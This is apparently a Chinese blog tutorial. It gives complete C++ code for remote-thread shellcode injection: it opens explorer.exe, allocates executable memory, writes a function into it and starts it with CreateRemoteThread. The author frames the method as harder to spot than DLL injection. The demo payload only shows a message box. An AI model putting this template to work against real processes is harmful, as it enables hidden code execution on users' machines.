高手請飄過~~~~~~~~~~~~~~~~~~~~~~~~~~~
前一篇文章,寫到了利用遠程線程注入DLL,其原理是利用LoadLibaray把DLL加載進去,這種方式注入簡單,但是會在對方進程加載一個模塊。人家用工具一看,多了個模塊,就知道被搞了。。。
今天寫下用遠程線程注入shellcode, 注入shellcode的難點是,注入的代碼不能訪問絕對地址。比如不能存在對全局變量的訪問,不能調用API,因爲你的代碼注入到人家進程空間,相應的絕對地址,很可能不是一個全局變量,或者你要調用的API。關於shellcode更多的知識,需要自己去查找更多資料,我也只懂點皮毛,就不多說了。
利用遠程線程注入shellcode和注入dll的優缺點建議大家看這篇文章:
https://www.cnblogs.com/BoyXiao/archive/2011/08/11/2134367.html
注入shellcode,原理很簡單,在目標進程開闢一段空間,分別將shellcode寫過去,這個寫過去的shellcode就是遠程線程要執行的代碼,再將shellcode需要的參數寫過去。那麼寫過去的這兩段數據分別是CreateRemoteThread的第四個第五個參數。
代碼如下:代碼中有幾個函數,很常用,我放到DLL中了,所以這裏你看不到實現,如果需要完整代碼可以QQ844255657,或者百度一下,一個是提權代碼,一個是根據進程名獲取PID,網上一把大。另外計算shellcode的大小時,我是利用兩個函數地址相減,獲得shellcode的大小,我在IDA中看了下,這兩個函數正好相鄰,所以我就用兩個地址相減。這不知道是不是巧合。需要特別之處的是,程序是64位的。不知道32位的是不是編譯後兩個函數不會相鄰了。這個有懂得希望留言。另外在說下shellcode就是函數:DWORD WINAPI RemoteThreadProc(LPVOID lpParameter) 。 怕新手不懂多囉嗦一句。
// InjectCodeByRemoteThread.cpp : 定義控制檯應用程序的入口點。
//
#include "stdafx.h"
#include <Windows.h>
#include <Psapi.h>
#include "D:\\VS\\DllToInject\\DllToInject\\Utils.h"
#pragma comment(lib, "D:\\VS\\DllToInject\\x64\\Release\\UtilDll.lib")
typedef int (* FUN_MessageBox)(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
typedef struct tagRemoteMsgBoxData{
FUN_MessageBox pfn;
CHAR lpText[MAX_PATH];
CHAR lpCaption[MAX_PATH];
}REMOTE_MSG_BOX_DATA, *PREMOTE_MSG_BOX_DATA;
typedef DWORD(WINAPI * FUN_RemoteThreadProc)(LPVOID lpParameter);
DWORD WINAPI RemoteThreadProc(LPVOID lpParameter){
PREMOTE_MSG_BOX_DATA pRemoteData = (PREMOTE_MSG_BOX_DATA)lpParameter;
pRemoteData->pfn(NULL, pRemoteData->lpText, pRemoteData->lpCaption, MB_OK);
return 1;
}
void FillRemoteMsgBoxData(PREMOTE_MSG_BOX_DATA pRemoteMsgBox){
HMODULE hUser32 = LoadLibrary("User32.dll");
pRemoteMsgBox->pfn = (FUN_MessageBox)GetProcAddress(hUser32, "MessageBoxA");
strcpy(pRemoteMsgBox->lpText, "this is content");
strcpy(pRemoteMsgBox->lpCaption, "this is title");
FreeLibrary(hUser32);
}
int _tmain(int argc, _TCHAR* argv[])
{
//兩個函數地址的差值就是shellcode代碼的大小,可能會有一些多的對齊數據,但是不影響
DWORD funcSize = (DWORD)FillRemoteMsgBoxData - (DWORD)RemoteThreadProc;
printf("shellcode size =%d\n", funcSize);
REMOTE_MSG_BOX_DATA remoteData = { 0 };
FillRemoteMsgBoxData(&remoteData);
if (!AdjustProcessTokenPrivilege()){
MyOutputDebugString("提權失敗\n");
}
DWORD dwPid = GetPidByName("explorer.exe");
if (dwPid == 0){
MyOutputDebugString("GetPidByName failed\n");
return -1;
}
MyOutputDebugString("explorer.exe pid=%d\n", dwPid);
HANDLE hProcess;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
MyOutputDebugString("打開進程失敗!!!!");
return -1;
}
//1.在遠程進程中分配內存,可讀可寫可執行
LPVOID pszRemoteBuffer = (char *)VirtualAllocEx(hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pszRemoteBuffer == NULL)
{
MyOutputDebugString("申請遠程空間失敗");
return -1;
}
//2.在遠程申請的內存空間中寫入shellcode
SIZE_T dwWriten = 0;
if (!WriteProcessMemory(hProcess, pszRemoteBuffer, RemoteThreadProc, funcSize, &dwWriten))
{
MyOutputDebugString("寫入內存失敗");
return -1;
}
printf("shellcode write bytes:%d\n", dwWriten);
//3.在遠程申請的內存空間中寫MessageBox的數據{函數地址,content , title}
dwWriten = 0;
if (!WriteProcessMemory(hProcess, (CHAR *)pszRemoteBuffer + funcSize, &remoteData, sizeof(remoteData), &dwWriten))
{
MyOutputDebugString("寫入內存失敗");
return -1;
}
//4.創建遠程線程
DWORD dwThreadId = 0;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (FUN_RemoteThreadProc)pszRemoteBuffer, (CHAR *)pszRemoteBuffer + funcSize, 0, &dwThreadId);
if (hThread == NULL)
{
MyOutputDebugString("創建遠程線程失敗 %d\n", GetLastError());
return -1;
}
//5 等待遠程線程退出,等待shellcode執行完畢
DWORD exitCode = 0;
DWORD dwRet = 0;
WaitForSingleObject(hThread, INFINITE);
dwRet = GetExitCodeThread(hThread, &exitCode);
if (dwRet == 0){
printf("GetExitCodeThread failed\n");
return -1;
}
//6 檢查退出碼,如果退出碼等於1,說明shellcode執行成功
//爲什麼等於1執行成功,shellcode返回值是1啊
if (exitCode == 1){
printf("shell code execute success\n");
}
//釋放內存,關閉句柄等
VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
::CloseHandle(hThread);
::CloseHandle(hProcess);
return 0;
}